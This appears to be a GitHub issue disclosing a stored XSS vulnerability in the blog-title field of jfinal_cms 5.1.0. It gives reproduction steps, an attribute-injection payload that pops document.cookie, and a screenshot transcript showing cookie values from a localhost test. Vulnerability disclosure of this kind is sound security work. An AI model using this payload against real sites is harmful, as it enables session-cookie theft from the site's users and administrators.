

[New issue](#)[Jump to bottom](#)

XSS vulnerability1 in jfinal_cms 5.1.0 #45

[Open](#) Townmacro opened this issue on Jul 18 · 0 comments

Townmacro commented on Jul 18

There is a stored XSS vulnerability in JFinal_cms 's publish blog module. An attacker could insert malicious XSS code into the post title. When users and administrators view the blog post, the malicious XSS code is triggered successfully.

First register a user to test it, then go to the submit blog post page and insert the malicious XSS code in the subject field

Payload : test1" onmouseover="alert(document.cookie)

发布博文

栏目

jfinal-cms

题目

test1" onmouseover="alert(document.cookie)

内容

HTML B I U ABC 段落 列表 链接 代码语言

test1

元素路径: body > 0

当前已输入5个字符, 您还可以输入9995个字符。

关键词

test1

发布

重置

1. 博文题目必须填写, 并且不能超过80个文字。

2. 博文内容尽量控制在1200个字符内, 内容含违禁词, 否则可能会被删除。

用户信息

test 这个家

发布博文

我的博文

喜欢博文

编辑信息

推荐文章

论坛使用须知

友情链接

门头沟介绍

大峪中学

Jflyfox博客

Successfully executed malicious XSS code:

final_cms/iron/person

beetl mysql 其他 搜索... 查询

test1" onmouseover="alert(docu...
test1

localhost:8080 显示
Hm_lvt_1040d081eea13b44d84a4af639640d51=1658112742;
session_user=En02obCjogwubMsfm/hSOA=;;
Hm_lpvt_1040d081eea13b44d84a4af639640d51=1658113188
确定

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

